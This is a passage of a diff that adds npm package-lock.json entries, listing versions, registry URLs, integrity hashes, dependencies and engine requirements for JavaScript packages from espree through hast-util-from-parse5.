+ "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==",
+ "engines": {
+ "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/eslint"
+ }
+ },
+ "node_modules/espree": {
+ "version": "9.6.1",
+ "resolved": "https://registry.npmjs.org/espree/-/espree-9.6.1.tgz",
+ "integrity": "sha512-oruZaFkjorTpF32kDSI5/75ViwGeZginGGy2NoOSg3Q9bnwlnmDm4HLnkl0RE3n+njDXR037aY1+x58Z/zFdwQ==",
+ "dependencies": {
+ "acorn": "^8.9.0",
+ "acorn-jsx": "^5.3.2",
+ "eslint-visitor-keys": "^3.4.1"
+ },
+ "engines": {
+ "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/eslint"
+ }
+ },
+ "node_modules/esquery": {
+ "version": "1.6.0",
+ "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.6.0.tgz",
+ "integrity": "sha512-ca9pw9fomFcKPvFLXhBKUK90ZvGibiGOvRJNbjljY7s7uq/5YO4BOzcYtJqExdx99rF6aAcnRxHmcUHcz6sQsg==",
+ "dependencies": {
+ "estraverse": "^5.1.0"
+ },
+ "engines": {
+ "node": ">=0.10"
+ }
+ },
+ "node_modules/esrecurse": {
+ "version": "4.3.0",
+ "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz",
+ "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==",
+ "dependencies": {
+ "estraverse": "^5.2.0"
+ },
+ "engines": {
+ "node": ">=4.0"
+ }
+ },
+ "node_modules/estraverse": {
+ "version": "5.3.0",
+ "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz",
+ "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==",
+ "engines": {
+ "node": ">=4.0"
+ }
+ },
+ "node_modules/estree-util-attach-comments": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/estree-util-attach-comments/-/estree-util-attach-comments-3.0.0.tgz",
+ "integrity": "sha512-cKUwm/HUcTDsYh/9FgnuFqpfquUbwIqwKM26BVCGDPVgvaCl/nDCCjUfiLlx6lsEZ3Z4RFxNbOQ60pkaEwFxGw==",
+ "dependencies": {
+ "@types/estree": "^1.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/estree-util-build-jsx": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/estree-util-build-jsx/-/estree-util-build-jsx-3.0.1.tgz",
+ "integrity": "sha512-8U5eiL6BTrPxp/CHbs2yMgP8ftMhR5ww1eIKoWRMlqvltHF8fZn5LRDvTKuxD3DUn+shRbLGqXemcP51oFCsGQ==",
+ "dependencies": {
+ "@types/estree-jsx": "^1.0.0",
+ "devlop": "^1.0.0",
+ "estree-util-is-identifier-name": "^3.0.0",
+ "estree-walker": "^3.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/estree-util-is-identifier-name": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/estree-util-is-identifier-name/-/estree-util-is-identifier-name-3.0.0.tgz",
+ "integrity": "sha512-hFtqIDZTIUZ9BXLb8y4pYGyk6+wekIivNVTcmvk8NoOh+VeRn5y6cEHzbURrWbfp1fIqdVipilzj+lfaadNZmg==",
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/estree-util-scope": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/estree-util-scope/-/estree-util-scope-1.0.0.tgz",
+ "integrity": "sha512-2CAASclonf+JFWBNJPndcOpA8EMJwa0Q8LUFJEKqXLW6+qBvbFZuF5gItbQOs/umBUkjviCSDCbBwU2cXbmrhQ==",
+ "dependencies": {
+ "@types/estree": "^1.0.0",
+ "devlop": "^1.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/estree-util-to-js": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/estree-util-to-js/-/estree-util-to-js-2.0.0.tgz",
+ "integrity": "sha512-WDF+xj5rRWmD5tj6bIqRi6CkLIXbbNQUcxQHzGysQzvHmdYG2G7p/Tf0J0gpxGgkeMZNTIjT/AoSvC9Xehcgdg==",
+ "dependencies": {
+ "@types/estree-jsx": "^1.0.0",
+ "astring": "^1.8.0",
+ "source-map": "^0.7.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/estree-util-visit": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/estree-util-visit/-/estree-util-visit-2.0.0.tgz",
+ "integrity": "sha512-m5KgiH85xAhhW8Wta0vShLcUvOsh3LLPI2YVwcbio1l7E09NTLL1EyMZFM1OyWowoH0skScNbhOPl4kcBgzTww==",
+ "dependencies": {
+ "@types/estree-jsx": "^1.0.0",
+ "@types/unist": "^3.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/estree-walker": {
+ "version": "3.0.3",
+ "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-3.0.3.tgz",
+ "integrity": "sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==",
+ "dependencies": {
+ "@types/estree": "^1.0.0"
+ }
+ },
+ "node_modules/esutils": {
+ "version": "2.0.3",
+ "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz",
+ "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==",
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/eventemitter3": {
+ "version": "4.0.7",
+ "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-4.0.7.tgz",
+ "integrity": "sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw=="
+ },
+ "node_modules/extend": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz",
+ "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g=="
+ },
+ "node_modules/fast-deep-equal": {
+ "version": "3.1.3",
+ "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz",
+ "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q=="
+ },
+ "node_modules/fast-equals": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/fast-equals/-/fast-equals-5.0.1.tgz",
+ "integrity": "sha512-WF1Wi8PwwSY7/6Kx0vKXtw8RwuSGoM1bvDaJbu7MxDlR1vovZjIAKrnzyrThgAjm6JDTu0fVgWXDlMGspodfoQ==",
+ "engines": {
+ "node": ">=6.0.0"
+ }
+ },
+ "node_modules/fast-glob": {
+ "version": "3.3.2",
+ "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.2.tgz",
+ "integrity": "sha512-oX2ruAFQwf/Orj8m737Y5adxDQO0LAB7/S5MnxCdTNDd4p6BsyIVsv9JQsATbTSq8KHRpLwIHbVlUNatxd+1Ow==",
+ "dependencies": {
+ "@nodelib/fs.stat": "^2.0.2",
+ "@nodelib/fs.walk": "^1.2.3",
+ "glob-parent": "^5.1.2",
+ "merge2": "^1.3.0",
+ "micromatch": "^4.0.4"
+ },
+ "engines": {
+ "node": ">=8.6.0"
+ }
+ },
+ "node_modules/fast-glob/node_modules/glob-parent": {
+ "version": "5.1.2",
+ "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
+ "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==",
+ "dependencies": {
+ "is-glob": "^4.0.1"
+ },
+ "engines": {
+ "node": ">= 6"
+ }
+ },
+ "node_modules/fast-json-patch": {
+ "version": "3.1.1",
+ "resolved": "https://registry.npmjs.org/fast-json-patch/-/fast-json-patch-3.1.1.tgz",
+ "integrity": "sha512-vf6IHUX2SBcA+5/+4883dsIjpBTqmfBjmYiWK1savxQmFk4JfBMLa7ynTYOs1Rolp/T1betJxHiGD3g1Mn8lUQ==",
+ "license": "MIT"
+ },
+ "node_modules/fast-json-stable-stringify": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz",
+ "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw=="
+ },
+ "node_modules/fast-levenshtein": {
+ "version": "2.0.6",
+ "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz",
+ "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw=="
+ },
+ "node_modules/fastq": {
+ "version": "1.17.1",
+ "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.17.1.tgz",
+ "integrity": "sha512-sRVD3lWVIXWg6By68ZN7vho9a1pQcN/WBFaAAsDDFzlJjvoGx0P8z7V1t72grFJfJhu3YPZBuu25f7Kaw2jN1w==",
+ "dependencies": {
+ "reusify": "^1.0.4"
+ }
+ },
+ "node_modules/fault": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/fault/-/fault-1.0.4.tgz",
+ "integrity": "sha512-CJ0HCB5tL5fYTEA7ToAq5+kTwd++Borf1/bifxd9iT70QcXr4MRrO3Llf8Ifs70q+SJcGHFtnIE/Nw6giCtECA==",
+ "dependencies": {
+ "format": "^0.2.0"
+ },
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/file-entry-cache": {
+ "version": "6.0.1",
+ "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-6.0.1.tgz",
+ "integrity": "sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg==",
+ "dependencies": {
+ "flat-cache": "^3.0.4"
+ },
+ "engines": {
+ "node": "^10.12.0 || >=12.0.0"
+ }
+ },
+ "node_modules/fill-range": {
+ "version": "7.1.1",
+ "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz",
+ "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==",
+ "dependencies": {
+ "to-regex-range": "^5.0.1"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/find-up": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz",
+ "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==",
+ "dependencies": {
+ "locate-path": "^6.0.0",
+ "path-exists": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/flat-cache": {
+ "version": "3.2.0",
+ "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-3.2.0.tgz",
+ "integrity": "sha512-CYcENa+FtcUKLmhhqyctpclsq7QF38pKjZHsGNiSQF5r4FtoKDWabFDl3hzaEQMvT1LHEysw5twgLvpYYb4vbw==",
+ "dependencies": {
+ "flatted": "^3.2.9",
+ "keyv": "^4.5.3",
+ "rimraf": "^3.0.2"
+ },
+ "engines": {
+ "node": "^10.12.0 || >=12.0.0"
+ }
+ },
+ "node_modules/flatted": {
+ "version": "3.3.2",
+ "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.3.2.tgz",
+ "integrity": "sha512-AiwGJM8YcNOaobumgtng+6NHuOqC3A7MixFeDafM3X9cIUM+xUXoS5Vfgf+OihAYe20fxqNM9yPBXJzRtZ/4eA=="
+ },
+ "node_modules/follow-redirects": {
+ "version": "1.15.9",
+ "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.9.tgz",
+ "integrity": "sha512-gew4GsXizNgdoRyqmyfMHyAmXsZDk6mHkSxZFCzW9gwlbtOW44CDtYavM+y+72qD/Vq2l550kMF52DT8fOLJqQ==",
+ "funding": [
+ {
+ "type": "individual",
+ "url": "https://github.com/sponsors/RubenVerborgh"
+ }
+ ],
+ "engines": {
+ "node": ">=4.0"
+ },
+ "peerDependenciesMeta": {
+ "debug": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/for-each": {
+ "version": "0.3.3",
+ "resolved": "https://registry.npmjs.org/for-each/-/for-each-0.3.3.tgz",
+ "integrity": "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw==",
+ "dependencies": {
+ "is-callable": "^1.1.3"
+ }
+ },
+ "node_modules/foreground-child": {
+ "version": "3.3.0",
+ "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-3.3.0.tgz",
+ "integrity": "sha512-Ld2g8rrAyMYFXBhEqMz8ZAHBi4J4uS1i/CxGMDnjyFWddMXLVcDp051DZfu+t7+ab7Wv6SMqpWmyFIj5UbfFvg==",
+ "dependencies": {
+ "cross-spawn": "^7.0.0",
+ "signal-exit": "^4.0.1"
+ },
+ "engines": {
+ "node": ">=14"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/isaacs"
+ }
+ },
+ "node_modules/form-data": {
+ "version": "4.0.4",
+ "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.4.tgz",
+ "integrity": "sha512-KrGhL9Q4zjj0kiUt5OO4Mr/A/jlI2jDYs5eHBpYHPcBEVSiipAvn2Ko2HnPe20rmcuuvMHNdZFp+4IlGTMF0Ow==",
+ "license": "MIT",
+ "dependencies": {
+ "asynckit": "^0.4.0",
+ "combined-stream": "^1.0.8",
+ "es-set-tostringtag": "^2.1.0",
+ "hasown": "^2.0.2",
+ "mime-types": "^2.1.12"
+ },
+ "engines": {
+ "node": ">= 6"
+ }
+ },
+ "node_modules/format": {
+ "version": "0.2.2",
+ "resolved": "https://registry.npmjs.org/format/-/format-0.2.2.tgz",
+ "integrity": "sha512-wzsgA6WOq+09wrU1tsJ09udeR/YZRaeArL9e1wPbFg3GG2yDnC2ldKpxs4xunpFF9DgqCqOIra3bc1HWrJ37Ww==",
+ "engines": {
+ "node": ">=0.4.x"
+ }
+ },
+ "node_modules/fraction.js": {
+ "version": "4.3.7",
+ "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-4.3.7.tgz",
+ "integrity": "sha512-ZsDfxO51wGAXREY55a7la9LScWpwv9RxIrYABrlvOFBlH/ShPnrtsXeuUIfXKKOVicNxQ+o8JTbJvjS4M89yew==",
+ "engines": {
+ "node": "*"
+ },
+ "funding": {
+ "type": "patreon",
+ "url": "https://github.com/sponsors/rawify"
+ }
+ },
+ "node_modules/fs.realpath": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz",
+ "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw=="
+ },
+ "node_modules/fsevents": {
+ "version": "2.3.3",
+ "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz",
+ "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==",
+ "hasInstallScript": true,
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "engines": {
+ "node": "^8.16.0 || ^10.6.0 || >=11.0.0"
+ }
+ },
+ "node_modules/function-bind": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz",
+ "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==",
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/function.prototype.name": {
+ "version": "1.1.6",
+ "resolved": "https://registry.npmjs.org/function.prototype.name/-/function.prototype.name-1.1.6.tgz",
+ "integrity": "sha512-Z5kx79swU5P27WEayXM1tBi5Ze/lbIyiNgU3qyXUOf9b2rgXYyF9Dy9Cx+IQv/Lc8WCG6L82zwUPpSS9hGehIg==",
+ "dependencies": {
+ "call-bind": "^1.0.2",
+ "define-properties": "^1.2.0",
+ "es-abstract": "^1.22.1",
+ "functions-have-names": "^1.2.3"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/functions-have-names": {
+ "version": "1.2.3",
+ "resolved": "https://registry.npmjs.org/functions-have-names/-/functions-have-names-1.2.3.tgz",
+ "integrity": "sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==",
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/get-intrinsic": {
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz",
+ "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==",
+ "license": "MIT",
+ "dependencies": {
+ "call-bind-apply-helpers": "^1.0.2",
+ "es-define-property": "^1.0.1",
+ "es-errors": "^1.3.0",
+ "es-object-atoms": "^1.1.1",
+ "function-bind": "^1.1.2",
+ "get-proto": "^1.0.1",
+ "gopd": "^1.2.0",
+ "has-symbols": "^1.1.0",
+ "hasown": "^2.0.2",
+ "math-intrinsics": "^1.1.0"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/get-nonce": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/get-nonce/-/get-nonce-1.0.1.tgz",
+ "integrity": "sha512-FJhYRoDaiatfEkUK8HKlicmu/3SGFD51q3itKDGoSTysQJBnfOcxU5GxnhE1E6soB76MbT0MBtnKJuXyAx+96Q==",
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/get-proto": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz",
+ "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==",
+ "license": "MIT",
+ "dependencies": {
+ "dunder-proto": "^1.0.1",
+ "es-object-atoms": "^1.0.0"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/get-symbol-description": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/get-symbol-description/-/get-symbol-description-1.0.2.tgz",
+ "integrity": "sha512-g0QYk1dZBxGwk+Ngc+ltRH2IBp2f7zBkBMBJZCDerh6EhlhSR6+9irMCuT/09zD6qkarHUSn529sK/yL4S27mg==",
+ "dependencies": {
+ "call-bind": "^1.0.5",
+ "es-errors": "^1.3.0",
+ "get-intrinsic": "^1.2.4"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/get-tsconfig": {
+ "version": "4.8.1",
+ "resolved": "https://registry.npmjs.org/get-tsconfig/-/get-tsconfig-4.8.1.tgz",
+ "integrity": "sha512-k9PN+cFBmaLWtVz29SkUoqU5O0slLuHJXt/2P+tMVFT+phsSGXGkp9t3rQIqdz0e+06EHNGs3oM6ZX1s2zHxRg==",
+ "dependencies": {
+ "resolve-pkg-maps": "^1.0.0"
+ },
+ "funding": {
+ "url": "https://github.com/privatenumber/get-tsconfig?sponsor=1"
+ }
+ },
+ "node_modules/github-slugger": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/github-slugger/-/github-slugger-2.0.0.tgz",
+ "integrity": "sha512-IaOQ9puYtjrkq7Y0Ygl9KDZnrf/aiUJYUpVf89y8kyaxbRG7Y1SrX/jaumrv81vc61+kiMempujsM3Yw7w5qcw=="
+ },
+ "node_modules/glob": {
+ "version": "7.1.7",
+ "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.7.tgz",
+ "integrity": "sha512-OvD9ENzPLbegENnYP5UUfJIirTg4+XwMWGaQfQTY0JenxNvvIKP3U3/tAQSPIu/lHxXYSZmpXlUHeqAIdKzBLQ==",
+ "deprecated": "Glob versions prior to v9 are no longer supported",
+ "dependencies": {
+ "fs.realpath": "^1.0.0",
+ "inflight": "^1.0.4",
+ "inherits": "2",
+ "minimatch": "^3.0.4",
+ "once": "^1.3.0",
+ "path-is-absolute": "^1.0.0"
+ },
+ "engines": {
+ "node": "*"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/isaacs"
+ }
+ },
+ "node_modules/glob-parent": {
+ "version": "6.0.2",
+ "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz",
+ "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==",
+ "dependencies": {
+ "is-glob": "^4.0.3"
+ },
+ "engines": {
+ "node": ">=10.13.0"
+ }
+ },
+ "node_modules/globals": {
+ "version": "13.24.0",
+ "resolved": "https://registry.npmjs.org/globals/-/globals-13.24.0.tgz",
+ "integrity": "sha512-AhO5QUcj8llrbG09iWhPU2B204J1xnPeL8kQmVorSsy+Sjj1sk8gIyh6cUocGmH4L0UuhAJy+hJMRA4mgA4mFQ==",
+ "dependencies": {
+ "type-fest": "^0.20.2"
+ },
+ "engines": {
+ "node": ">=8"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/globalthis": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/globalthis/-/globalthis-1.0.4.tgz",
+ "integrity": "sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ==",
+ "dependencies": {
+ "define-properties": "^1.2.1",
+ "gopd": "^1.0.1"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/globby": {
+ "version": "11.1.0",
+ "resolved": "https://registry.npmjs.org/globby/-/globby-11.1.0.tgz",
+ "integrity": "sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==",
+ "dependencies": {
+ "array-union": "^2.1.0",
+ "dir-glob": "^3.0.1",
+ "fast-glob": "^3.2.9",
+ "ignore": "^5.2.0",
+ "merge2": "^1.4.1",
+ "slash": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/gopd": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz",
+ "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==",
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/graceful-fs": {
+ "version": "4.2.11",
+ "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz",
+ "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ=="
+ },
+ "node_modules/graphemer": {
+ "version": "1.4.0",
+ "resolved": "https://registry.npmjs.org/graphemer/-/graphemer-1.4.0.tgz",
+ "integrity": "sha512-EtKwoO6kxCL9WO5xipiHTZlSzBm7WLT627TqC/uVRd0HKmq8NXyebnNYxDoBi7wt8eTWrUrKXCOVaFq9x1kgag=="
+ },
+ "node_modules/has-bigints": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/has-bigints/-/has-bigints-1.0.2.tgz",
+ "integrity": "sha512-tSvCKtBr9lkF0Ex0aQiP9N+OpV4zi2r/Nee5VkRDbaqv35RLYMzbwQfFSZZH0kR+Rd6302UJZ2p/bJCEoR3VoQ==",
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/has-flag": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+ "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/has-property-descriptors": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz",
+ "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==",
+ "dependencies": {
+ "es-define-property": "^1.0.0"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/has-proto": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.2.0.tgz",
+ "integrity": "sha512-KIL7eQPfHQRC8+XluaIw7BHUwwqL19bQn4hzNgdr+1wXoU0KKj6rufu47lhY7KbJR2C6T6+PfyN0Ea7wkSS+qQ==",
+ "dependencies": {
+ "dunder-proto": "^1.0.0"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/has-symbols": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz",
+ "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==",
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/has-tostringtag": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz",
+ "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==",
+ "dependencies": {
+ "has-symbols": "^1.0.3"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/hasown": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz",
+ "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==",
+ "dependencies": {
+ "function-bind": "^1.1.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/hast-util-from-parse5": {
+ "version": "8.0.2",
+ "resolved": "https://registry.npmjs.org/hast-util-from-parse5/-/hast-util-from-parse5-8.0.2.tgz",
+ "integrity": "sha512-SfMzfdAi/zAoZ1KkFEyyeXBn7u/ShQrfd675ZEE9M3qj+PMFX05xubzRyF76CCSJu8au9jgVxDV1+okFvgZU4A==",
+ "dependencies": {
